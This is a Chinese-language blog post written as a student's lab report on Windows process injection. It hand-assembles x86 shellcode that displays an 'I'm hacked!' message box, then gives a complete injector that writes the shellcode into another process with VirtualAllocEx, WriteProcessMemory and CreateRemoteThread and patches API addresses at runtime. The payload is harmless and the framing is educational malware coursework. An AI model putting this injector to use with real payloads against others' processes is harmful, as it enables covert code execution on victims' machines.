病毒实验三

title: viruslab3
date: 2016-01-05 20:13:57
categories: virus
tags: virus

进程注入

工具:vs2012 ollydbg

part1

  • 编写二进制代码 弹出MessageBox对话框 并测试运行之
    要求:首先写汇编代码片段完成以下功能
    调用MessageBoxA()函数 弹出一个对话框 显示"I'm hacked!"字符串
    然后请提取出这些汇编代码的二进制编码 放到全局字符数组char code[]中
    测试运行之 确保无误
    参考:下面是用c语言编写的调用MessageBoxA的代码片段
    MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_Ok);
    可以使用下面的c语言程序来测试二进制代码数组
	#include<windows.h>
	char *s="I'm hacked";
	char code[]={0x__,0x__,0x__...};
	void main()
	{
	int op;
	VirtualProtect(
	&code[0],
	sizeof(code),
	PAGE_EXECUTE_READWRITE,
	&op
	);
	__asm{
	  call offset code
	}
	} 

part1报告

	#include<windows.h>
	char *s = "I'm hacked!";
	//寻找地址的时候 发现0x0040A000处是乱码
	//0x0040A004才是s串的第一个ascii码
	//另外注意链接的时候关闭动态基址
	char code[]={
	0x6A,0x00,//push MB_OK
	0x68,0x04,0xA0,0x40,0x00,//push s
	0x68,0x04,0xA0,0x40,0x00,//push s
	0x6A,0x00,//push 0
	0xFF,0x15,0x08,0x71,0x40,0x00
	,0xc3
	};
	void main()
	{
	int op;
	MessageBoxA(0,s,s, MB_OK);
	VirtualProtect(&code[0],sizeof(code),PAGE_EXECUTE_READWRITE,&op);
	__asm{
	  call offset code
	}
	}

part2

  • 请修改part1中生成的放置在char code[]中的二进制代码 使这段代码在运行时不依赖产生代码进程的全局字符串
    例如在part1参考程序中 不能再使用char* s="I'm hacked!";这样的全局字符串
    要求:正确提取二进制代码数组 并且测试运行

  • 提示:char code[]二进制代码不能使用全局字符串 但是代码自身可以在运行时动态产生字符串
    请先阅读下列调用LoadLibraryA("msg.dll")的汇编代码 思考代码如何在运行栈上动态构造字符串
    并且如何将字符串的首地址参数传递给系统API 请采用同样的方法改写pat1中的二进制代码
    使char code[]代码在运行时不需要依赖目标进程中的全局字符串

part2报告

	#include<windows.h>
	char code[]={
	0x55,//push ebp
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x49,//mov [ebp-0x18],'I'
	0xc6,0x45,0xe9,0x27,
	0xc6,0x45,0xea,0x6d,
	0xc6,0x45,0xeb,0x20,
	0xc6,0x45,0xec,0x68,
	0xc6,0x45,0xed,0x61,
	0xc6,0x45,0xee,0x63,
	0xc6,0x45,0xef,0x6b,
	0xc6,0x45,0xf0,0x65,
	0xc6,0x45,0xf1,0x64,
	0xc6,0x45,0xf2,0x21,
	0xc6,0x45,0xf3,0x00,//mov [ebp-0x0d],0x0
	0x8d,0x45,0xe8,//lea eax,[ebp-18]
	0x6A,0x00,//push 0
	0x50,//push eax
	0x50,//push eax
	0x6a,0x00,//push 0
	0xff,0x15,0x08,0x71,0x40,0x00,//call 
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp
	0xc3//retn
	};
	//告诉编译器,汇编代码是自己写的,编译器不要添加任何代码
	__declspec(naked) void main()
	{
	int op;
	__asm{
	push ebp
	mov ebp,esp
	sub esp,0x20
	mov [ebp-0x18],'I'
	mov [ebp-0x17],'\''
	mov [ebp-0x16],'m'
	mov [ebp-0x15],' '
	mov [ebp-0x14],'h'
	mov [ebp-0x13],'a'
	mov [ebp-0x12],'c'
	mov [ebp-0x11],'k'
	mov [ebp-0x10],'e'
	mov [ebp-0x0f],'d'
	mov [ebp-0x0e],'!'
	mov [ebp-0x0d],0x0
	lea eax,[ebp-0x18]
	push 0x0
	push eax
	push eax
	push 0x0
	call dword ptr [MessageBoxA]
	add esp,0x20
	mov esp,ebp
	pop ebp
	}
	VirtualProtect(&code[0],sizeof(code),PAGE_EXECUTE_READWRITE,&op);
	__asm{
	call offset code
	retn
	}
	}

part3

  • 考虑带远程进程的内存空间中可能还没有加载user32.dll 即没有MessageBoxA函数 无法让二进制代码来调用
    为了能够使二进制代码在远程进程中正确运行 需要在二进制代码中添加新的指令 来调用LoadLibraryA()与GetProcAddress()等系统API函数
    来动态加载user32.dll 并且得到MessageBoxA函数的地址 请进一步完善保存在char code[]中的二进制代码
    使之在user32.dll未加载的情况下 仍然能够正确弹出MessageBox对话框 最后测试运行

    参考:请分析下面的c语言代码 写出相应的汇编代码 然后手动编译成二进制代码 放入char code[]数组

      hModuser32=LoadLibraryA("user32.dll");
      //LoadLibraryA()载入指定的动态链接库 将它映射到当前进程使用的地址空间 
      //一旦载入 便可访问库内的资源 成功返回句柄 失败0
      //一般不需要的时候 应该记得用FreeLibrary函数释放DLL
      hProc=GetProcAddress(hModuser32,"MessageBoxA");
      //GetProcAddress()检索指定的动态链接库(DLL)中的输出库函数地址 成功返回函数地址 失败返回NULL
      hProc(0,"I'm hacked!","I'm hacked!",MB_OK);
    
  • 提示:因为LoadLibraryA()与GetProcAddress()函数同属于系统核心链接库kernel32.dll 一般情况下
    在绝大多数的进程中的kernel32.dll的基址都是相同的 因此我们可以观察任何一个进程 发现并记录这两个函数的入口地址
    假设LoadLibraryA的入口地址为oxAAAABBBB 那么我们可以采用下列汇编指令直接调用这个API

      push <"user32.dll"字符串的首地址>
      mov eax,0xAAAABBBB
      call eax
    

    同样我们可以得到GetProcAddress的入口地址 直接调用

  • 注意:call指令有两种不同的调用 一种是编码FF15打头的通过内存读取的间接跳转
    call dword ptr [0xYYYYZZZZ]
    另一种是通过寄存器的间接跳转
    mov eax,0xZZZZAAAA
    call eax

part3报告

	#include<windows.h>
	char code[]={
	0x55,//push ebp            LoadLibraryA("user32.dll");
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x75,
	0xc6,0x45,0xe9,0x73,
	0xc6,0x45,0xea,0x65,
	0xc6,0x45,0xeb,0x72,
	0xc6,0x45,0xec,0x33,
	0xc6,0x45,0xed,0x32,
	0xc6,0x45,0xee,0x2e,
	0xc6,0x45,0xef,0x64,
	0xc6,0x45,0xf0,0x6c,
	0xc6,0x45,0xf1,0x6c,
	0xc6,0x45,0xf2,0x00,
	0x8d,0x45,0xe8,//lea eax,[ebp-18]
	0x50,//push eax
	0xb8,0x64,0x28,0xa0,0x75,
	0xff,0xd0,//call eax
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp
	//0xc3
	0x55,//push ebp                GetProcAddress(hModUser32,"MessageBoxA");
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x4d,
	0xc6,0x45,0xe9,0x65,
	0xc6,0x45,0xea,0x73,
	0xc6,0x45,0xeb,0x73,
	0xc6,0x45,0xec,0x61,
	0xc6,0x45,0xed,0x67,
	0xc6,0x45,0xee,0x65,
	0xc6,0x45,0xef,0x42,
	0xc6,0x45,0xf0,0x6f,
	0xc6,0x45,0xf1,0x78,
	0xc6,0x45,0xf2,0x41,
	0xc6,0x45,0xf3,0x00,	
	0x8d,0x4d,0xe8,//lea eax,[ebp-18]
	0x51,//push eax
	0x50,
	0xb8,0x37,0x18,0xa0,0x75,
	0xff,0xd0,
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp
	//0xc3
	0x55,//push ebp             MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x49,
	0xc6,0x45,0xe9,0x27,
	0xc6,0x45,0xea,0x6d,
	0xc6,0x45,0xeb,0x20,
	0xc6,0x45,0xec,0x68,
	0xc6,0x45,0xed,0x61,
	0xc6,0x45,0xee,0x63,
	0xc6,0x45,0xef,0x6b,
	0xc6,0x45,0xf0,0x65,
	0xc6,0x45,0xf1,0x64,
	0xc6,0x45,0xf2,0x21,
	0xc6,0x45,0xf3,0x00,	
	0x8d,0x4d,0xe8,//lea eax,[ebp-18]
	0x6a,0x00,//push 0
	0x51,
	0x51,
	0x6a,0x00,
	0xff,0xd0,//call 
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp	
	0xc3
	};
	//告诉编译器,汇编代码是自己写的,编译器不要添加任何代码
	__declspec(naked) void main()
	{
	printf("%p\n",LoadLibraryA);
	printf("%p\n",GetProcAddress);

	int op;
	__asm{//            LoadLibraryA("user32.dll");
	push ebp 
	mov ebp,esp
	sub esp,0x20	
	mov [ebp-0x18],'u'
	mov [ebp-0x17],'s'
	mov [ebp-0x16],'e'
	mov [ebp-0x15],'r'
	mov [ebp-0x14],'3'
	mov [ebp-0x13],'2'
	mov [ebp-0x12],'.'
	mov [ebp-0x11],'d'
	mov [ebp-0x10],'l'
	mov [ebp-0x0f],'l'
	mov [ebp-0x0e],0x0
	lea eax,[ebp-0x18]
	push eax
	mov eax,0x75a02864
	call eax
	add esp,0x20
	mov esp,ebp
	pop ebp	
	}

	__asm{//              GetProcAddress(hModUser32,"MessageBoxA");
	push ebp 
	mov ebp,esp
	sub esp,0x20	
	mov [ebp-0x18],'M'
	mov [ebp-0x17],'e'
	mov [ebp-0x16],'s'
	mov [ebp-0x15],'s'
	mov [ebp-0x14],'a'
	mov [ebp-0x13],'g'
	mov [ebp-0x12],'e'
	mov [ebp-0x11],'B'
	mov [ebp-0x10],'o'
	mov [ebp-0x0f],'x'
	mov [ebp-0x0e],'A'
	mov [ebp-0x0d],0x0
	lea ecx,[ebp-0x18]
	push ecx
	push eax
	mov eax,0x75a01837
	call eax
	add esp,0x20
	mov esp,ebp
	pop ebp	
	}

	__asm{//               MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
	push ebp
	mov ebp,esp
	sub esp,0x20
	mov [ebp-0x18],'I'
	mov [ebp-0x17],'\''
	mov [ebp-0x16],'m'
	mov [ebp-0x15],' '
	mov [ebp-0x14],'h'
	mov [ebp-0x13],'a'
	mov [ebp-0x12],'c'
	mov [ebp-0x11],'k'
	mov [ebp-0x10],'e'
	mov [ebp-0x0f],'d'
	mov [ebp-0x0e],'!'
	mov [ebp-0x0d],0x0
	lea ecx,[ebp-0x18]
	push 0x0
	push ecx
	push ecx
	push 0x0
	call eax
	add esp,0x20
	mov esp,ebp
	pop ebp
	}

	VirtualProtect(&code[0],sizeof(code),PAGE_EXECUTE_READWRITE,&op);
	__asm{
	call offset code
	retn
	}
	}

part4

  • 请编写注入器代码inj.c 将part3产生的二进制代码 即char code[]数组注入到某一进程中 并创建线程运行之
  • 提示
    • 请先在远程进程中分配一块可以执行的内存区域 请使用API函数VirtualAllocEx()
    • 将code数组写入 WriteProcessMemory()
    • 创建远程线程运行之 CreatRemoteThread()

part4报告

	#include <windows.h>
	BYTE code[]={
	0x55,//push ebp                LoadLibraryA("user32.dll");
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x75,
	0xc6,0x45,0xe9,0x73,
	0xc6,0x45,0xea,0x65,
	0xc6,0x45,0xeb,0x72,
	0xc6,0x45,0xec,0x33,
	0xc6,0x45,0xed,0x32,
	0xc6,0x45,0xee,0x2e,
	0xc6,0x45,0xef,0x64,
	0xc6,0x45,0xf0,0x6c,
	0xc6,0x45,0xf1,0x6c,
	0xc6,0x45,0xf2,0x00,
	0x8d,0x45,0xe8,//lea eax,[ebp-18]
	0x50,//push eax
	0xb8,0x44,0x28,0xF9,0x75,
	0xff,0xd0,//call eax
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp
	//0xc3
	0x55,//push ebp                GetProcAddress(hModUser32,"MessageBoxA");
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x4d,
	0xc6,0x45,0xe9,0x65,
	0xc6,0x45,0xea,0x73,
	0xc6,0x45,0xeb,0x73,
	0xc6,0x45,0xec,0x61,
	0xc6,0x45,0xed,0x67,
	0xc6,0x45,0xee,0x65,
	0xc6,0x45,0xef,0x42,
	0xc6,0x45,0xf0,0x6f,
	0xc6,0x45,0xf1,0x78,
	0xc6,0x45,0xf2,0x41,
	0xc6,0x45,0xf3,0x00,	
	0x8d,0x4d,0xe8,//lea eax,[ebp-18]
	0x51,//push eax
	0x50,
	0xb8,0x17,0x18,0xF9,0x75,
	0xff,0xd0,
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp
	//0xc3
	0x55,//push ebp             MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x49,
	0xc6,0x45,0xe9,0x27,
	0xc6,0x45,0xea,0x6d,
	0xc6,0x45,0xeb,0x20,
	0xc6,0x45,0xec,0x68,
	0xc6,0x45,0xed,0x61,
	0xc6,0x45,0xee,0x63,
	0xc6,0x45,0xef,0x6b,
	0xc6,0x45,0xf0,0x65,
	0xc6,0x45,0xf1,0x64,
	0xc6,0x45,0xf2,0x21,
	0xc6,0x45,0xf3,0x00,	
	0x8d,0x4d,0xe8,//lea eax,[ebp-18]
	0x6a,0x00,//push 0
	0x51,
	0x51,
	0x6a,0x00,
	0xff,0xd0,//call 
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp	
	0xc3
	};

	int main(int argc, char *argv[])
	{	
	int     PID         = 0;
	HANDLE  hProcess    = 0; 
	PBYTE   pCodeRemote = NULL;
	DWORD   dwNumBytesXferred = 0;

	PBYTE   pCode      = NULL;
	DWORD   dwSizeOfCode = 0;

	HANDLE  hThread	   = 0;
	DWORD   dwThreadId = 0;
	int	    exitcode   = 0;

	printf("%p\n",LoadLibraryA);
	printf("%p\n",GetProcAddress);

	if (argc < 2) {
		printf("Usage: %s pid\n", argv[0]);
		return -1;
	}
	PID = atoi(argv[1]);
	if (PID <= 0) {
		printf("[E]: pid should be greater than zero!\n"); 
		return -1;
	}

	pCode = (PBYTE)code;
	dwSizeOfCode = sizeof(code);
	//打开远程进程
	printf("[I]: Opening remote process %d......", PID); 
	hProcess = OpenProcess(PROCESS_CREATE_THREAD 
		| PROCESS_QUERY_INFORMATION
		| PROCESS_VM_OPERATION 
		| PROCESS_VM_WRITE 
		| PROCESS_VM_READ,
		FALSE, PID);
		
	if (hProcess == NULL) {
		printf("failed.\n"); 
		return -1;
	}   
	printf("ok.\n");
	//分配远程地址空间
	printf("[I]: Allocating remote memory with size of 0x%08x ......", 
		dwSizeOfCode);

	pCodeRemote = (PBYTE) VirtualAllocEx(hProcess, 
			0, 
			dwSizeOfCode, 
			MEM_COMMIT, 
			PAGE_EXECUTE_READWRITE);		
	if (pCodeRemote == NULL) {
		printf("failed.\n");
		CloseHandle(hProcess);
		return -1;
	}
	printf("ok at 0x%08x.\n", pCodeRemote);
	//将code[]注入远程进程
	printf("[I]: Writing code ......");
	if (WriteProcessMemory(hProcess, 
			pCodeRemote, 
			pCode, 
			dwSizeOfCode, 
			&dwNumBytesXferred) == 0) {
		printf("failed.\n");
		VirtualFreeEx(hProcess, pCodeRemote,
				dwSizeOfCode, MEM_RELEASE);
		CloseHandle(hProcess);
		return -1;
	};
	printf("ok (%d bytes were written).\n", dwNumBytesXferred);
	//创建远程线程        
	printf("[I]: Creating a remote thread ......");
	hThread = CreateRemoteThread(hProcess, NULL, 0, 
			(LPTHREAD_START_ROUTINE) pCodeRemote,
			pCodeRemote, 0 , &dwThreadId);
	if (hThread == 0) {
		printf("failed.\n");
		if ( pCodeRemote != 0 )	
			VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
		if ( hThread != 0 )			
			CloseHandle(hThread);
		return -1;
	}
	printf("ok.\n");
	//等待远程线程执行 
	printf("[I]: Waiting the remote thread ......");
	WaitForSingleObject(hThread, INFINITE);
	GetExitCodeThread(hThread, (PDWORD) &exitcode);
	//退出	
	printf("exited with 0x%08X\n", exitcode);

	VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
	CloseHandle(hProcess);

	return 0;
	}

part5

  • 由于每次系统重启后 进程空间kernel32.dll加载的基地址都会发生变化
    因此LoadLibraryA()与GetProcAddress()系统API的地址不是固定值 它们的入口地址会在关机重启发生变化
    这样一来 事先做好的二进制代码将会再次无法运行
    请在part4的基础上继续修改程序 使得注入程序能够自动的寻找它们的入口地址
    并且自动修正二进制代码中这两个函数的入口地址

part5报告

  • OpenProcess 打开进程

  • VirtualAllocEx 分配远程地址空间

  • WriteProcessMemory 写数据

  • CreateRemoteThread 创建远程线程

  • WaitForSingleObject 等待远程线程执行

  • GetExitCodeThread 得到退出码

  • VirtualFreeEx 在其他进程中释放申请的虚拟内存空间

  • CloseHandle 关闭一个内核对象

	#include <windows.h>
	BYTE code[]={
	0x55,//push ebp >>LoadLibraryA("user32.dll");
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x75,
	0xc6,0x45,0xe9,0x73,
	0xc6,0x45,0xea,0x65,
	0xc6,0x45,0xeb,0x72,
	0xc6,0x45,0xec,0x33,
	0xc6,0x45,0xed,0x32,
	0xc6,0x45,0xee,0x2e,
	0xc6,0x45,0xef,0x64,
	0xc6,0x45,0xf0,0x6c,
	0xc6,0x45,0xf1,0x6c,
	0xc6,0x45,0xf2,0x00,
	0x8d,0x45,0xe8,//lea eax,[ebp-18]
	0x50,//push eax
	//0xb8,0x64,0x28,0xa0,0x75,
	0xb8,0xaa,0xbb,0xaa,0xbb,
	0xff,0xd0,//call eax
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp
	//0xc3
	0x55,//push ebp >>GetProcAddress(hModUser32,"MessageBoxA");
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x4d,
	0xc6,0x45,0xe9,0x65,
	0xc6,0x45,0xea,0x73,
	0xc6,0x45,0xeb,0x73,
	0xc6,0x45,0xec,0x61,
	0xc6,0x45,0xed,0x67,
	0xc6,0x45,0xee,0x65,
	0xc6,0x45,0xef,0x42,
	0xc6,0x45,0xf0,0x6f,
	0xc6,0x45,0xf1,0x78,
	0xc6,0x45,0xf2,0x41,
	0xc6,0x45,0xf3,0x00,	
	0x8d,0x4d,0xe8,//lea eax,[ebp-18]
	0x51,//push eax
	0x50,
	//0xb8,0x37,0x18,0xa0,0x75,
	0xb8,0xaa,0xbb,0xaa,0xbb,
	0xff,0xd0,
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp
	//0xc3
	0x55,//push ebp >>MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
	0x8b,0xec,//mov ebp,esp
	0x83,0xec,0x20,//sub esp,20
	0xc6,0x45,0xe8,0x49,
	0xc6,0x45,0xe9,0x27,
	0xc6,0x45,0xea,0x6d,
	0xc6,0x45,0xeb,0x20,
	0xc6,0x45,0xec,0x68,
	0xc6,0x45,0xed,0x61,
	0xc6,0x45,0xee,0x63,
	0xc6,0x45,0xef,0x6b,
	0xc6,0x45,0xf0,0x65,
	0xc6,0x45,0xf1,0x64,
	0xc6,0x45,0xf2,0x21,
	0xc6,0x45,0xf3,0x00,	
	0x8d,0x4d,0xe8,//lea eax,[ebp-18]
	0x6a,0x00,//push 0
	0x51,
	0x51,
	0x6a,0x00,
	0xff,0xd0,//call 
	0x83,0xc4,0x20,//add esp,0x20
	0x8b,0xe5,//mov esp,ebp
	0x5d,//pop ebp	
	0xc3
	};

	int main(int argc, char *argv[])
	{	
	int     PID         = 0;
	HANDLE  hProcess    = 0; 
	PBYTE   pCodeRemote = NULL;
	DWORD   dwNumBytesXferred = 0;

	PBYTE   pCode      = NULL;
	DWORD   dwSizeOfCode = 0;

	HANDLE  hThread	   = 0;
	DWORD   dwThreadId = 0;
	int	    exitcode   = 0;

	*(int *)(code+55) =(int)LoadLibraryA;
	*(int *)(code+127) =(int)GetProcAddress;

	if (argc < 2) {
		printf("Usage: %s pid\n", argv[0]);
		return -1;
	}
	PID = atoi(argv[1]);
	if (PID <= 0) {
		printf("[E]: pid should be greater than zero!\n"); 
		return -1;
	}

	pCode = (PBYTE)code;
	dwSizeOfCode = sizeof(code);
	//打开远程进程
	printf("[I]: Opening remote process %d......", PID); 
	
	//OpenProcess()用来打开一个已存在的进程对象 并返回进程的句柄
	hProcess = OpenProcess(PROCESS_CREATE_THREAD 
		| PROCESS_QUERY_INFORMATION
		| PROCESS_VM_OPERATION 
		| PROCESS_VM_WRITE 
		| PROCESS_VM_READ,//渴望得到的访问权限
		FALSE,//是否继承句柄
		PID);//进程标识符
		
	if (hProcess == NULL) {
		printf("failed.\n"); 
		return -1;
	}   
	printf("ok.\n");
	//分配远程地址空间
	printf("[I]: Allocating remote memory with size of 0x%08x ......", 
		dwSizeOfCode);

	//VirtualAllocEx返回分配内存的首地址 失败返回NULL	
	pCodeRemote = (PBYTE) VirtualAllocEx(hProcess, //申请内存所在的进程句柄
			0, //保留页面的内存地址 一般用NULL自动分配
			dwSizeOfCode, //预分配的内存大小 字节单位
			MEM_COMMIT, //为特定的页面区域分配内存中的物理存储
			PAGE_EXECUTE_READWRITE);//区域包含可执行代码 应用程序可以读写该区域		
	if (pCodeRemote == NULL) {
		printf("failed.\n");
		CloseHandle(hProcess);
		return -1;
	}
	printf("ok at 0x%08x.\n", pCodeRemote);
	//将code[]注入远程进程
	printf("[I]: Writing code ......");
	
	//WriteProcessMemory写入某一进程的内存区域 入口区必须可以访问 否则失败
	if (WriteProcessMemory(hProcess, //由Openprocess返回的进程句柄
			pCodeRemote, //要写的内存首地址
			pCode, //指向要写的数据的指针
			dwSizeOfCode, //要写入的字节数
			&dwNumBytesXferred) == 0) {//实际写入数据的长度
		printf("failed.\n");
		
		//VirtualFreeEx在其他进程中释放申请的虚拟内存空间 成功返回非0 失败0
		VirtualFreeEx(hProcess,//目标进程的句柄
				pCodeRemote,//要释放的虚拟内存空间首地址的指针
				dwSizeOfCode, //虚拟内存空间的字节数
				MEM_RELEASE);//释放类型 完全回收
		CloseHandle(hProcess);
		return -1;
	};
	printf("ok (%d bytes were written).\n", dwNumBytesXferred);
	//创建远程线程        
	printf("[I]: Creating a remote thread ......");
	
	//CreateRemoteThread创建远程线程 返回新线程句柄 失败NULL
	hThread = CreateRemoteThread(hProcess,//线程所属进程的进程句柄 
			NULL,//线程安全指针
			0, //线程初始化大小 字节单位 0 默认系统大小
			(LPTHREAD_START_ROUTINE)pCodeRemote,//在远程进程的地址空间中 该线程的线程函数的起始地址
			pCodeRemote, //传递给线程函数的参数
			0 ,//线程创建标志 0 创建后立即运行
			&dwThreadId);//指向所创建线程句柄的指针
	if (hThread == 0) {
		printf("failed.\n");
		if ( pCodeRemote != 0 )	
			VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
		if ( hThread != 0 )			
			CloseHandle(hThread);
		return -1;
	}
	printf("ok.\n");
	//等待远程线程执行 
	printf("[I]: Waiting the remote thread ......");
	
	//WaitForSingleObject函数处于等待状态 直到指定对象被触发
	WaitForSingleObject(hThread, //对象句柄
	INFINITE);//对象被触发信号后 函数才返回
	
	//GetExitCodeThread获取一个已中止线程的退出代码
	//成功返回非0 失败返回0
	GetExitCodeThread(hThread,//想获得退出代码的一个线程的句柄
	(PDWORD) &exitcode);//用于装载线程退出代码的一个长整数变量
	//退出	
	printf("exited with 0x%08X\n", exitcode);

	VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
	CloseHandle(hProcess);//关闭一个内核对象 

	return 0;
	}
posted @ 2016-03-07 19:33  ailx10  阅读(926)  评论(0编辑  收藏  举报